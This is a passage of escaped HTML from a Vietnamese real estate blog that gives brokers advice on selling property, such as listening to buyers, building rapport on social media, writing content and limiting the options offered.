n\u00e0y v\u00f4 t\u00ecnh khi\u1ebfn kh\u00e1ch h\u00e0ng c\u1ea3m th\u1ea5y m\u1ec7t m\u1ecfi, kh\u00f3 ch\u1ecbu.<\/span><\/p>\n<p class=\"c3\"><span class=\"c2\">Thay v\u00e0o \u0111\u00f3, \u0111\u1ec3 c\u00f3 th\u1ec3 t\u1ea1o thi\u1ec7n c\u1ea3m v\u1edbi kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 bi\u1ebft \u0111\u01b0\u1ee3c nhu c\u1ea7u c\u1ee7a h\u1ecd b\u1ea1n n\u00ean l\u1eafng nghe, th\u1ea5u hi\u1ec3u nhi\u1ec1u h\u01a1n. H\u00e3y tu\u00e2n th\u1ee7 theo nguy\u00ean t\u1eafc 80\/20, t\u1ee9c 80% cu\u1ed9c tr\u00f2 chuy\u1ec7n l\u00e0 nghe kh\u00e1ch h\u00e0ng n\u00f3i v\u00e0 20% l\u00e0 b\u1ea1n n\u00f3i. Trong 20% th\u1eddi l\u01b0\u1ee3ng cu\u1ed9c tr\u00f2 chuy\u1ec7n h\u00e3y \u0111\u01b0a ra nh\u1eefng th\u00f4ng tin h\u1eefu \u00edch, th\u1ecfa m\u00e3n \u0111\u01b0\u1ee3c kh\u00e1ch h\u00e0ng, th\u1ec3 hi\u1ec7n b\u1ea1n th\u1ef1c s\u1ef1 ch\u00fa t\u00e2m v\u00e0o nh\u1eefng g\u00ec h\u1ecd \u0111\u00e3 n\u00f3i.<\/span><\/p>\n<h3 id=\"h.uo9cf4lltuk7\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Ban_hang_dua_tren_phan_hoi_cua_nguoi_mua\"><\/span><strong><span class=\"c0\">B\u00e1n h\u00e0ng d\u1ef1a tr\u00ean ph\u1ea3n h\u1ed3i c\u1ee7a ng\u01b0\u1eddi mua<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">K\u1ef9 n\u0103ng t\u01b0 v\u1ea5n b\u1ea5t \u0111\u1ed9ng s\u1ea3n d\u1ef1a tr\u00ean ph\u1ea3n h\u1ed3i c\u1ee7a kh\u00e1ch h\u00e0ng c\u00f3 ngh\u0129a l\u00e0 t\u1eeb ph\u1ea3n h\u1ed3i c\u1ee7a kh\u00e1ch h\u00e0ng b\u1ea1n s\u1ebd cung c\u1ea5p cho h\u1ecd nh\u1eefng g\u00ec m\u00e0 h\u1ecd mu\u1ed1n v\u00e0 \u0111\u00fang th\u1eddi \u0111i\u1ec3m h\u1ecd \u0111ang c\u1ea7n.<\/span><\/p>\n<p class=\"c3\"><span class=\"c2\">Gi\u1ea3 s\u1eed, kh\u00e1ch h\u00e0ng A \u0111ang mu\u1ed1n mua nh\u00e0 \u1edf cho gia \u0111\u00ecnh 4 ng\u01b0\u1eddi, trong \u0111\u00f3 c\u00f3 2 con nh\u1ecf. Khi n\u00e0y, b\u1ea1n s\u1ebd ph\u1ea3i c\u0103n c\u1ee9 d\u1ef1a tr\u00ean nhu c\u1ea7u, s\u1edf th\u00edch v\u00e0 thu nh\u1eadp c\u1ee7a gia \u0111\u00ecnh anh A \u0111\u1ec3 gi\u1edbi thi\u1ec7u c\u00e1c c\u0103n nh\u00e0 ph\u00f9 h\u1ee3p. \u0110\u1ed3ng th\u1eddi, \u0111\u1eebng qu\u00ean nh\u1ea5n m\u1ea1nh nh\u1eefng \u01b0u \u0111i\u1ec3m c\u1ee7a c\u00e1c s\u1ea3n ph\u1ea9m b\u1ea1n gi\u1edbi thi\u1ec7u.<\/span><\/p>\n<figure style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" data-src=\"https:\/\/lh4.googleusercontent.com\/-GBZZfey6ZKWAUeMFr-ih2vkg6M7092BVe6f2vw_m328NMUkC3a2TpC9MFfc8qtmwewWTYu2MBgSByLt6VAIRrYYTfJOmd6_cmcP2bGgTOknHFiSDD4ZQtYyZyH_7l_7rVu_oQc6Bn111VOmBeNW_VwrtgX2G1L5iNap3vANKtD8dpqeqLXXYd1alxOF9A\" alt=\"\" width=\"600\" height=\"400\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 600px; --smush-placeholder-aspect-ratio: 600\/400;\"><figcaption class=\"wp-caption-text\">Hi\u1ec3u \u0111\u00fang nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u1ec3 t\u01b0 v\u1ea5n s\u1ea3n ph\u1ea9m ph\u00f9 h\u1ee3p.<\/figcaption><\/figure>\n<h3 id=\"h.qqrxnp81doxe\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Thau_hieu_tam_ly_nguoi_mua_khi_tuong_tac\"><\/span><strong><span class=\"c0\">Th\u1ea5u hi\u1ec3u t\u00e2m l\u00fd ng\u01b0\u1eddi mua khi t\u01b0\u01a1ng t\u00e1c<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">Vi\u1ec7c \u0111\u1eb7t c\u00e2u h\u1ecfi khi t\u01b0\u01a1ng t\u00e1c gi\u00fap b\u1ea1n t\u00ecm hi\u1ec3u s\u00e2u h\u01a1n v\u00e0o nhu c\u1ea7u, mong mu\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng v\u1edbi s\u1ea3n ph\u1ea9m B\u0110S.<\/span><\/p>\n<p><em><strong>Th\u00f4ng tin h\u1eefu \u00edch<\/strong><\/em>: <a href=\"https:\/\/reti.vn\/blog\/cach-thuyet-phuc-khach-hang-kho-tinh\/\">C\u00e1ch thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng kh\u00f3 t\u00ednh hi\u1ec7u qu\u1ea3<\/a><\/p>\n<p class=\"c3\"><span class=\"c2\">N\u1ebfu b\u1ea1n c\u00f3 th\u1ec3 th\u1ea5u hi\u1ec3u \u0111\u01b0\u1ee3c t\u00e2m l\u00fd ng\u01b0\u1eddi mua trong khi t\u01b0\u01a1ng t\u00e1c th\u00ec \u0111\u1ea3m b\u1ea3o b\u1ea1n s\u1ebd tr\u1edf th\u00e0nh m\u1ed9t sales b\u1ea5t \u0111\u1ed9ng s\u1ea3n gi\u1ecfi. K\u1ef9 n\u0103ng n\u00e0y c\u1ea7n ph\u1ea3i c\u00f3 s\u1ef1 r\u00e8n luy\u1ec7n v\u00e0 t\u00edch l\u0169y theo th\u1eddi gian.<\/span><\/p>\n<figure style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" data-src=\"https:\/\/lh6.googleusercontent.com\/EU3C7dEZXhL4LunSsirFEB9eUjPZ6bVdjs76ZC97NMkA8HzUWTt_Kahz9kg-dCHVjeYS2_pblku6HT8l3xovAz_P8cxZvRe7d0_C1WYDIgmT9Wk-YShDNkHZcoIuovRqynGvpHaL0kvezYRIOviRCps2w65dFawEEgGKSHUcITQQYBaR4wGkkCGtVnxNBg\" alt=\"\" width=\"1024\" height=\"684\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/684;\"><figcaption class=\"wp-caption-text\">H\u00e3y lu\u00f4n \u0111\u1eb7t m\u00ecnh trong v\u1ecb tr\u00ed c\u1ee7a ng\u01b0\u1eddi mua \u0111\u1ec3 th\u1ea5u hi\u1ec3u kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n.<\/figcaption><\/figure>\n<h3 id=\"h.c7btig9ialvx\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Giao_duc_khach_hang_tiem_nang_voi_nhung_y_tuong_va_quan_diem_moi\"><\/span><strong><span class=\"c0\">Gi\u00e1o d\u1ee5c kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng v\u1edbi nh\u1eefng \u00fd t\u01b0\u1edfng v\u00e0 quan \u0111i\u1ec3m m\u1edbi<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">T\u1ea1i th\u1ecb tr\u01b0\u1eddng Vi\u1ec7t Nam hi\u1ec7n c\u00f3 r\u1ea5t nhi\u1ec1u lo\u1ea1i h\u00ecnh b\u1ea5t \u0111\u1ed9ng s\u1ea3n m\u1edbi. \u0110i k\u00e8m v\u1edbi \u0111\u00f3 l\u00e0 kh\u00f4ng \u00edt c\u00e1c kh\u00e1i ni\u1ec7m xa l\u1ea1 v\u1edbi kh\u00e1ch h\u00e0ng. Th\u1ebf n\u00ean, khi sale B\u0110S b\u1ea1n c\u1ea7n ph\u1ea3i t\u01b0 v\u1ea5n, gi\u1edbi thi\u1ec7u cho kh\u00e1ch h\u00e0ng \u0111\u1ec3 h\u1ecd c\u00f3 th\u1ec3 m\u1edf r\u1ed9ng th\u00eam t\u1ea7m nh\u00ecn, th\u1eadm ch\u00ed l\u00e0 thay \u0111\u1ed5i suy ngh\u0129.<\/span><\/p>\n<h3 id=\"h.h1eruvi5yfvn\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Chung_minh_loi_tuc_dau_tu_tiem_nang\"><\/span><strong><span class=\"c0\">Ch\u1ee9ng minh l\u1ee3i t\u1ee9c \u0111\u1ea7u t\u01b0 ti\u1ec1m n\u0103ng<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">Trong qu\u00e1 tr\u00ecnh t\u01b0 v\u1ea5n cho kh\u00e1ch h\u00e0ng b\u1ea1n n\u00ean v\u1ebd ra cho h\u1ecd m\u1ed9t b\u1ee9c tranh c\u1ee5 th\u1ec3, thuy\u1ebft ph\u1ee5c, c\u00f3 t\u00ednh kh\u1ea3 thi cao khi kh\u00e1ch h\u00e0ng quy\u1ebft \u0111\u1ecbnh \u0111\u1ea7u t\u01b0 v\u00e0o s\u1ea3n ph\u1ea9m B\u0110S. \u0110\u1eb7c bi\u1ec7t, h\u00e3y c\u1ed1 g\u1eafng ch\u00fa \u00fd t\u1edbi y\u1ebfu t\u1ed1 ti\u1ec1m n\u0103ng c\u1ee7a s\u1ea3n ph\u1ea9m trong t\u01b0\u01a1ng lai.<\/span><\/p>\n<p class=\"c3\"><span class=\"c2\">C\u1ee5 th\u1ec3: H\u00e3y gi\u1edbi thi\u1ec7u cho h\u1ecd c\u00e1c ki\u1ebfn th\u1ee9c m\u1edbi, h\u1eb9n kh\u00e1ch h\u00e0ng ra c\u00e0 ph\u00ea \u0111\u1ec3 t\u01b0 v\u1ea5n mi\u1ec5n ph\u00ed c\u00e1c ki\u1ebfn th\u1ee9c v\u1ec1 b\u1ea5t \u0111\u1ed9ng s\u1ea3n, ch\u1ec9 d\u1eabn h\u1ecd c\u00e1ch ch\u1ecdn b\u1ea5t \u0111\u1ed9ng s\u1ea3n ph\u00f9 h\u1ee3p, h\u00e3y cho h\u1ecd th\u1ea5y b\u1ea1n l\u00e0 m\u1ed9t chuy\u00ean gia th\u1ef1c th\u1ee5 trong l\u0129nh v\u1ef1c b\u1ea5t \u0111\u1ed9ng s\u1ea3n v\u1edbi k\u1ef9 n\u0103ng sale \u0111\u1ea5t n\u1ec1n chuy\u00ean nghi\u1ec7p<\/span><\/p>\n<h2 id=\"h.3920csvxi9he\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Ky_nang_ho_tro_ban_hang_Bat_dong_san_hieu_qua\"><\/span><strong><span class=\"c1\">K\u1ef9 n\u0103ng h\u1ed7 tr\u1ee3 b\u00e1n h\u00e0ng B\u1ea5t \u0111\u1ed9ng s\u1ea3n hi\u1ec7u qu\u1ea3<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p class=\"c3\"><span class=\"c2\">Sau \u0111\u00e2y, Reti ti\u1ebfp t\u1ee5c chia s\u1ebb t\u1edbi b\u1ea1n \u0111\u1ecdc nh\u1eefng k\u1ef9 n\u0103ng b\u00e1n h\u00e0ng, k\u1ef9 n\u0103ng ch\u1ed1t sale chung c\u01b0 hi\u1ec7u qu\u1ea3 gi\u00fap b\u1ea1n d\u1ec5 d\u00e0ng ho\u00e0n th\u00e0nh cu\u1ed9c giao d\u1ecbch th\u00e0nh c\u00f4ng.<\/span><\/p>\n<p><em><strong>\u0110\u1ecdc th\u00eam<\/strong><\/em>: <a href=\"https:\/\/reti.vn\/blog\/25-ky-nang-giup-ctv-bds-kiem-duoc-bon-tien\/\">25 k\u1ef9 n\u0103ng gi\u00fap CTV B\u0110S ki\u1ebfm \u0111\u01b0\u1ee3c b\u1ed9n ti\u1ec1n<\/a><\/p>\n<h3 id=\"h.gr759x3n0fxb\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Ky_nang_tiep_thi_trong_ban_hang\"><\/span><strong><span class=\"c0\">K\u1ef9 n\u0103ng ti\u1ebfp th\u1ecb trong b\u00e1n h\u00e0ng<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">\u0110\u00e2y l\u00e0 m\u1ed9t trong nh\u1eefng k\u1ef9 n\u0103ng b\u00e1n h\u00e0ng d\u1ef1 \u00e1n m\u00e0 m\u1ecdi ng\u01b0\u1eddi sales b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ec1u ph\u1ea3i n\u1eafm th\u1eadt gi\u1ecfi. C\u00f3 g\u1ea7n 69% c\u00e1c b\u1ea1n sales c\u00f3 \u0111\u01b0\u1ee3c c\u01a1 h\u1ed9i ch\u1ed1t sales nh\u1edd c\u00e1c cu\u1ed9c g\u1ecdi t\u01b0 v\u1ea5n \u0111\u01a1n thu\u1ea7n. Mu\u1ed1n l\u00e0m t\u1ed1t k\u1ef9 n\u0103ng n\u00e0y, b\u1ea1n ph\u1ea3i nh\u1edb lu\u00f4n l\u00ean k\u1ecbch b\u1ea3n sales c\u1ea7n, c\u00e1c t\u00ecnh hu\u1ed1ng v\u00e0 c\u00e2u h\u1ecfi m\u00e0 kh\u00e1ch h\u00e0ng th\u01b0\u1eddng th\u1eafc m\u1eafc, \u0111\u01b0a ra s\u1eb5n c\u00e1c c\u00e2u tr\u1ea3 l\u1eddi h\u1ee3p l\u00fd cho t\u1eebng tr\u01b0\u1eddng h\u1ee3p.<\/span><\/p>\n<h3 id=\"h.enhajsmlgaq5\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Su_dung_cong_nghe_ban_hang_de_tang_nang_suat\"><\/span><strong><span class=\"c0\">S\u1eed d\u1ee5ng c\u00f4ng ngh\u1ec7 b\u00e1n h\u00e0ng \u0111\u1ec3 t\u0103ng n\u0103ng su\u1ea5t<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">Tr\u01b0\u1edbc th\u1eddi bu\u1ed5i b\u00f9ng n\u1ed5 c\u00f4ng ngh\u1ec7 nh\u01b0 hi\u1ec7n nay th\u00ec b\u1ea1n n\u00ean c\u1ed1 g\u1eafng s\u1eed d\u1ee5ng c\u00e1c c\u00f4ng ngh\u1ec7 h\u1ed7 tr\u1ee3 b\u00e1n h\u00e0ng c\u00e0ng linh ho\u1ea1t c\u00e0ng t\u1ed1t. \u0110i\u1ec1u n\u00e0y s\u1ebd gi\u00fap b\u1ea1n t\u0103ng n\u0103ng su\u1ea5t b\u00e1n h\u00e0ng m\u00e0 l\u1ea1i c\u00f2n ti\u1ebft ki\u1ec7m \u0111\u01b0\u1ee3c th\u1eddi gian, c\u00f4ng s\u1ee9c.<\/span><\/p>\n<h3 id=\"h.k83hmh1a337o\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Lien_ket_hoat_dong_hang_ngay_voi_han_ngach\"><\/span><strong><span class=\"c0\">Li\u00ean k\u1ebft ho\u1ea1t \u0111\u1ed9ng h\u00e0ng ng\u00e0y v\u1edbi h\u1ea1n ng\u1ea1ch<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">\u0110\u1ec3 c\u00f3 th\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c h\u1ea1n ng\u1ea1ch kh\u00f4ng ph\u1ea3i l\u00e0 \u0111i\u1ec1u k\u1ef3 di\u1ec7u x\u1ea3y ra v\u00e0o cu\u1ed1i qu\u00fd ho\u1eb7c cu\u1ed1i th\u00e1ng. \u0110i\u1ec1u n\u00e0y \u0111\u00f2i h\u1ecfi nh\u00e2n vi\u00ean kinh doanh c\u1ea7n c\u00f3 kho\u1ea3ng th\u1eddi gian d\u00e0i v\u00e0o ho\u1ea1t \u0111\u1ed9ng kinh doanh h\u00e0ng ng\u00e0y c\u0169ng nh\u01b0 gi\u1ecfi trong c\u00f4ng vi\u1ec7c li\u00ean k\u1ebft ho\u1ea1t \u0111\u1ed9ng h\u00e0ng ng\u00e0y.<\/span><\/p>\n<h3 id=\"h.5ku7f7cvh2o3\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Tuong_tac_xa_hoi_voi_nguoi_mua\"><\/span><strong><span class=\"c0\">T\u01b0\u01a1ng t\u00e1c x\u00e3 h\u1ed9i v\u1edbi ng\u01b0\u1eddi mua<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">Ng\u00e0y nay h\u1ea7u h\u1ebft m\u1ecdi ng\u01b0\u1eddi \u0111\u1ec1u c\u00f3 t\u00e0i kho\u1ea3n m\u1ea1ng x\u00e3 h\u1ed9i, v\u00ed d\u1ee5 Facebook, Zalo, Instagram, Twitter hay LinkedIn. Th\u1ebf n\u00ean, b\u1ea1n c\u0169ng h\u00e3y t\u1ea1o cho m\u00ecnh c\u00e1c t\u00e0i kho\u1ea3n n\u00e0y, k\u1ebft b\u1ea1n v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 th\u01b0\u1eddng xuy\u00ean t\u01b0\u01a1ng t\u00e1c v\u1edbi h\u1ecd \u0111\u1ec3 gi\u1eef m\u1ed1i quan h\u1ec7 t\u1ed1t \u0111\u1eb9p. \u0110\u00e2y l\u00e0 c\u00e1ch gi\u00fap b\u1ea1n c\u00f3 th\u1ec3 b\u00e1n h\u00e0ng hi\u1ec7u qu\u1ea3 h\u01a1n.<\/span><\/p>\n<h3 id=\"h.lvvfwq70pw07\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Nhan_vien_ban_hang_lam_nguoi_viet_noi_dung\"><\/span><strong><span class=\"c0\">Nh\u00e2n vi\u00ean b\u00e1n h\u00e0ng l\u00e0m ng\u01b0\u1eddi vi\u1ebft n\u1ed9i dung<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">\u201cContent is a King\u201d lu\u00f4n \u0111\u00fang nh\u1ea5t l\u00e0 trong th\u1eddi \u0111\u1ea1i b\u00f9ng n\u1ed5 m\u1ea1ng x\u00e3 h\u1ed9i nh\u01b0 hi\u1ec7n nay. Th\u00f4ng qua nh\u1eefng chia s\u1ebb, b\u00e0i vi\u1ebft gi\u1edbi thi\u1ec7u, b\u1ea1n ho\u00e0n to\u00e0n c\u00f3 th\u1ec3 ti\u1ebfp c\u1eadn d\u1ec5 d\u00e0ng v\u00e0 hi\u1ec7u qu\u1ea3 h\u01a1n v\u1edbi kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng, gi\u00fap h\u1ecd n\u1eafm b\u1eaft th\u00f4ng tin v\u00e0 tin t\u01b0\u1edfng h\u01a1n v\u00e0o th\u01b0\u01a1ng hi\u1ec7u b\u1ea1n \u0111ang b\u00e1n.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Ky_nang_then_chot_cua_sale_bat_dong_san_chuyen_nghiep\"><\/span><b>K\u1ef9 n\u0103ng then ch\u1ed1t c\u1ee7a sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><em><span style=\"font-weight: 400;\">M\u1ed9t sale B\u0110S chuy\u00ean nghi\u1ec7p c\u1ea7n n\u1eafm v\u1eefng nh\u1eefng k\u1ef9 n\u0103ng then ch\u1ed1t \u0111\u1ec3 quy\u1ebft \u0111\u1ecbnh cu\u1ed9c giao d\u1ecbch th\u00e0nh c\u00f4ng. V\u1eady nh\u1eefng k\u1ef9 n\u0103ng \u0111\u00f3 c\u1ee5 th\u1ec3 l\u00e0 g\u00ec? C\u00f9ng Reti ti\u1ebfp t\u1ee5c t\u00ecm hi\u1ec3u nh\u00e9!<\/span><\/em><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ky_nang_sale_bat_dong_san\"><\/span><b>K\u1ef9 n\u0103ng sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">M\u00f4i gi\u1edbi c\u00f3 k\u1ef9 n\u0103ng ch\u1ed1t sale B\u0110S c\u1ea7n bi\u1ebft l\u00e0m n\u1ed5i b\u1eadt \u0111\u1ed9 \u201chot\u201d c\u1ee7a d\u1ef1 \u00e1n, s\u1ea3n ph\u1ea9m. Ngo\u00e0i nh\u1eefng \u0111i\u1ec3m m\u1ea1nh, nh\u1eefng ti\u1ec7n \u00edch m\u00e0 d\u1ef1 \u00e1n mang l\u1ea1i, b\u1ea1n c\u1ea7n ph\u1ea3i t\u1ea1o kh\u00e1ch h\u00e0ng c\u1ea3m gi\u00e1c d\u1ef1 \u00e1n \u0111ang r\u1ea5t \u201chot\u201d ho\u1ea1t \u0111\u1ed9ng mua b\u00e1n di\u1ec5n ra s\u00f4i \u0111\u1ed9ng, ch\u1ec9 c\u1ea7n ch\u1eadm v\u00e0i gi\u1edd th\u00f4i l\u00e0 s\u1ea3n ph\u1ea9m c\u00f3 th\u1ec3 b\u1ecb ng\u01b0\u1eddi kh\u00e1c mua m\u1ea5t. \u0110\u00e2y m\u1edbi ch\u00ednh l\u00e0 \u0111\u1ed9ng l\u1ef1c m\u1ea1nh m\u1ebd \u0111\u1ec3 kh\u00e1ch h\u00e0ng ch\u1ed1t sale.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Tuy nhi\u00ean, \u0111\u1ec3 th\u1ef1c s\u1ef1 thuy\u1ebft ph\u1ee5c m\u1ed9t c\u00e1ch hi\u1ec7u qu\u1ea3, b\u1ea1n c\u1ea7n d\u1ef1a v\u00e0o nh\u1eefng b\u1eb1ng ch\u1ee9ng c\u1ee5 th\u1ec3, nh\u1eefng \u201ccon s\u1ed1 bi\u1ebft n\u00f3i\u201d. N\u1ebfu kh\u00f4ng, nh\u1eefng g\u00ec th\u1ec3 hi\u1ec7n ch\u1ec9 l\u00e0 b\u1ea1n \u0111ang t\u00e2ng b\u1ed1c, thi\u1ebfu t\u00ednh x\u00e1c th\u1ef1c v\u00e0 g\u00e2y t\u00e1c d\u1ee5ng ng\u01b0\u1ee3c.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">B\u00ean c\u1ea1nh \u0111\u00f3, t\u00e2m l\u00fd kh\u00e1ch h\u00e0ng lu\u00f4n th\u00edch nh\u1eefng gi\u00e1 tr\u1ecb t\u1eb7ng k\u00e8m. V\u00ec th\u1ebf trong k\u1ef9 n\u0103ng sale B\u0110S, seller n\u00ean \u0111\u01b0a ra nh\u1eefng chi ti\u1ebft quan tr\u1ecdng nh\u01b0: ti\u1ec1m n\u0103ng cho thu\u00ea, c\u00e1c ti\u1ec7n \u00edch n\u1ed5i b\u1eadt, gi\u00e1 tr\u1ecb sinh l\u1eddi,\u2026 c\u1ee7a s\u1ea3n ph\u1ea9m b\u1ea5t \u0111\u1ed9ng s\u1ea3n kh\u00e1ch h\u00e0ng quan t\u00e2m.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ky_nang_ban_hang_bat_dong_san\"><\/span><b>K\u1ef9 n\u0103ng b\u00e1n h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Trong t\u00e2m l\u00fd h\u1ecdc, c\u00f3 m\u1ed9t hi\u1ec7n t\u01b0\u1ee3ng \u201cngh\u1ecbch l\u00fd c\u1ee7a s\u1ef1 l\u1ef1a ch\u1ecdn\u201d c\u1ee7a Gi\u00e1o s\u01b0 t\u00e2m l\u00fd h\u1ecdc Barry Schwartz. Nghi\u00ean c\u1ee9u n\u00e0y ch\u1ec9 ra r\u1eb1ng: Khi ta c\u00f3 qu\u00e1 nhi\u1ec1u l\u1ef1a ch\u1ecdn th\u00ec l\u1ea1i c\u00e0ng kh\u00f3 ra quy\u1ebft \u0111\u1ecbnh. V\u00ec th\u1ebf, \u00e1p d\u1ee5ng trong kinh doanh, b\u1ea1n ch\u1ec9 n\u00ean c\u00f3 t\u1ed1i \u0111a 3 l\u1ef1a ch\u1ecdn cho m\u1ed7i s\u1ea3n ph\u1ea9m v\u00e0 kh\u00e1ch h\u00e0ng s\u1ebd ra quy\u1ebft \u0111\u1ecbnh t\u1ed1t h\u01a1n. \u0110\u1eb7c bi\u1ec7t, kh\u00e1ch h\u00e0ng c\u00f3 xu h\u01b0\u1edbng ch\u1ecdn th\u1ee9 trung h\u00f2a nh\u1ea5t. V\u00ed d\u1ee5 nh\u01b0 khi mua c\u00e0 ph\u00ea, c\u00f3 m\u1ed9t s\u1ed1 c\u1eeda h\u00e0ng c\u00f3 3 l\u1ef1a ch\u1ecdn v\u1ec1 k\u00edch c\u1ee1 l\u00e0 nh\u1ecf, v\u1eeba v\u00e0 l\u1edbn cho kh\u00e1ch h\u00e0ng l\u1ef1a ch\u1ecdn. K\u1ebft qu\u1ea3 l\u00e0 ly c\u1ee1 v\u1eeba l\u00e0 m\u1eb7t h\u00e0ng b\u00e1n ch\u1ea1y nh\u1ea5t.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">T\u01b0\u01a1ng t\u1ef1 khi b\u1ea1n b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n, ngay t\u1eeb khi g\u1ecdi \u0111i\u1ec7n tho\u1ea1i t\u01b0 v\u1ea5n cho kh\u00e1ch b\u1ea1n n\u00ean n\u1eafm th\u00f4ng tin v\u00e0 t\u00ecm ra t\u1ed1i \u0111a 3 c\u0103n c\u00f3 \u01b0u, nh\u01b0\u1ee3c \u0111i\u1ec3m kh\u00e1c nhau \u0111\u1ec3 kh\u00e1ch h\u00e0ng l\u1ef1a ch\u1ecdn ngay. \u0110i\u1ec1u n\u00e0y kh\u00f4ng ch\u1ec9 th\u1ec3 hi\u1ec7n b\u1ea1n l\u00e0 ng\u01b0\u1eddi b\u00e1n h\u00e0ng chuy\u00ean nghi\u1ec7p, t\u1eadn t\u00ecnh trong m\u1eaft kh\u00e1ch h\u00e0ng m\u00e0 c\u00f2n chi\u1ebfm \u0111\u01b0\u1ee3c ni\u1ec1m tin c\u1ee7a h\u1ecd.\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ky_nang_ban_hang_du_an\"><\/span><b>K\u1ef9 n\u0103ng b\u00e1n h\u00e0ng d\u1ef1 \u00e1n<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Khi m\u1ed9t nh\u00e2n vi\u00ean b\u00e1n h\u00e0ng th\u1ea5u hi\u1ec3u ng\u01b0\u1eddi mua, h\u1ecd c\u00f3 th\u1ec3 th\u1ef1c hi\u1ec7n m\u1ecdi ph\u1ea3n h\u1ed3i t\u1eeb ph\u00eda kh\u00e1ch h\u00e0ng. H\u00e3y cung c\u1ea5p cho ng\u01b0\u1eddi mua nh\u1eefng g\u00ec h\u1ecd mu\u1ed1n, v\u00e0o \u0111\u00fang th\u1eddi \u0111i\u1ec3m h\u1ecd c\u1ea7n.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">V\u00ed d\u1ee5: v\u1edbi m\u1ed9t kh\u00e1ch h\u00e0ng mua nh\u00e0 \u1edf cho gia \u0111\u00ecnh v\u1edbi hai con nh\u1ecf, c\u0103n c\u1ee9 v\u00e0o thu nh\u1eadp v\u00e0 s\u1edf th\u00edch c\u1ee7a kh\u00e1ch, ng\u01b0\u1eddi b\u00e1n h\u00e0ng\/m\u00f4i gi\u1edbi s\u1ebd \u0111\u01b0a ra m\u1ed9t ho\u1eb7c nhi\u1ec1u c\u0103n h\u1ed9 ph\u00f9 h\u1ee3p. Nh\u1ea5n m\u1ea1nh vi\u1ec7c s\u1ed1 ph\u00f2ng ph\u00f9 h\u1ee3p v\u1edbi s\u1ed1 th\u00e0nh vi\u00ean gia \u0111\u00ecnh nh\u01b0 th\u1ebf n\u00e0o, c\u00e1c ti\u1ec7n \u00edch ph\u1ee5c v\u1ee5 gi\u00e1o d\u1ee5c v\u00e0 gi\u1ea3i tr\u00ed ra sao cho gia \u0111\u00ecnh h\u1ecd.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ky_nang_sale_dat_nen\"><\/span><b>K\u1ef9 n\u0103ng sale \u0111\u1ea5t n\u1ec1n<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Nh\u00e0 m\u00f4i gi\u1edbi B\u0110S c\u1ea7n n\u1eafm 